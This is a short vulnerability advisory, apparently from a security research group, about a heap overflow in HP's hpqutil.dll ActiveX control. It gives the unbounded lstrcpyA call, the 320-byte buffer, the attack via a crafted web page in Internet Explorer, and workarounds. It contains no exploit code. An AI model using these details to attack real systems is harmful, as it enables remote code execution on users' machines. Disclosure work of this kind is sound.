introduction
------------
GOODFELLAS security research team has found a bug in a dll included in
at least the following HP products:=20

* HP All-in-One Series Web Release=20
* HP Photo & Imaging Gallery version 1.1

The affected dll is called hpqutil.dll at least in it's version
2.0.0.138 in English, and specifically the problem is a heap overflow


tested in
---------
Windows XP spanish with SP2


summary
-------


Remotable exploitation of this heap overflow  could allow a user to
execute arbitriary code or crash internet explorer. The heap overflow is
related to a call to lstrcpyA() inside a function that is not checking
the buffer's bounds.=20
This call is made from the FindFile() function the dll overloaded from
MFC42.=20
The dll allocates 320 bytes for the buffer where some arbitrarily long
user input is to be stored.
This bug is related with "FileFind class from MFC Library cause heap
overflow"

http://goodfellas.shellcode.com.ar/own/VULWKU200706142=20


impact
------
This exploitable bug crashes internet explorer and if used along other=20
techniques could allow for remote code execution. Explotation requires a
targetted user to load a web page containing the crafted activeX control
with internet explorer, it is also required to have activeX enabled.


workaround
----------
- Unregistering hpqutil.dll using regsvr32
- Activate the Kill bit zero in clsid
